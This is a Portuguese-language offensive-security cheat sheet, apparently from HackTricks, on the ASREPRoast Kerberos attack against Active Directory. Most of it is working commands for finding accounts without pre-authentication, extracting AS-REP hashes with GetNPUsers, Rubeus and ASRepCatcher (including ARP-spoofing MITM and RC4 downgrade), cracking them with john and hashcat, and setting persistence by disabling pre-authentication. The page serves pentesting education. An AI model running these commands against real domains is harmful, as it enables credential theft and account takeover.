3.8 KiB
ASREPRoast
{{#include ../../banners/hacktricks-training.md}}
ASREPRoast
ASREPRoast é um ataque de segurança que explora usuários que não possuem o atributo requerido de pré-autenticação Kerberos. Essencialmente, essa vulnerabilidade permite que atacantes solicitem autenticação para um usuário do Controlador de Domínio (DC) sem precisar da senha do usuário. O DC então responde com uma mensagem criptografada com a chave derivada da senha do usuário, que os atacantes podem tentar quebrar offline para descobrir a senha do usuário.
Os principais requisitos para este ataque são:
- Falta de pré-autenticação Kerberos: Os usuários-alvo não devem ter esse recurso de segurança habilitado.
- Conexão ao Controlador de Domínio (DC): Os atacantes precisam de acesso ao DC para enviar solicitações e receber mensagens criptografadas.
- Conta de domínio opcional: Ter uma conta de domínio permite que os atacantes identifiquem usuários vulneráveis de forma mais eficiente por meio de consultas LDAP. Sem tal conta, os atacantes devem adivinhar nomes de usuário.
Enumerando usuários vulneráveis (necessita de credenciais de domínio)
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
Solicitar mensagem AS_REP
#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
Warning
AS-REP Roasting com Rubeus gerará um 4768 com um tipo de criptografia de 0x17 e um tipo de pré-autenticação de 0.
Quebra
john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
Persistência
Force preauth não é necessário para um usuário onde você tem permissões GenericAll (ou permissões para escrever propriedades):
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH
ASREProast sem credenciais
Um atacante pode usar uma posição de man-in-the-middle para capturar pacotes AS-REP enquanto eles atravessam a rede, sem depender da desativação da pré-autenticação Kerberos. Portanto, funciona para todos os usuários na VLAN.
ASRepCatcher nos permite fazer isso. Além disso, a ferramenta força as estações de trabalho dos clientes a usar RC4, alterando a negociação Kerberos.
# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
ASRepCatcher relay -dc $DC_IP
# Disabling ARP spoofing, the mitm position must be obtained differently
ASRepCatcher relay -dc $DC_IP --disable-spoofing
# Passive listening of AS-REP packets, no packet alteration
ASRepCatcher listen
Referências
{{#include ../../banners/hacktricks-training.md}}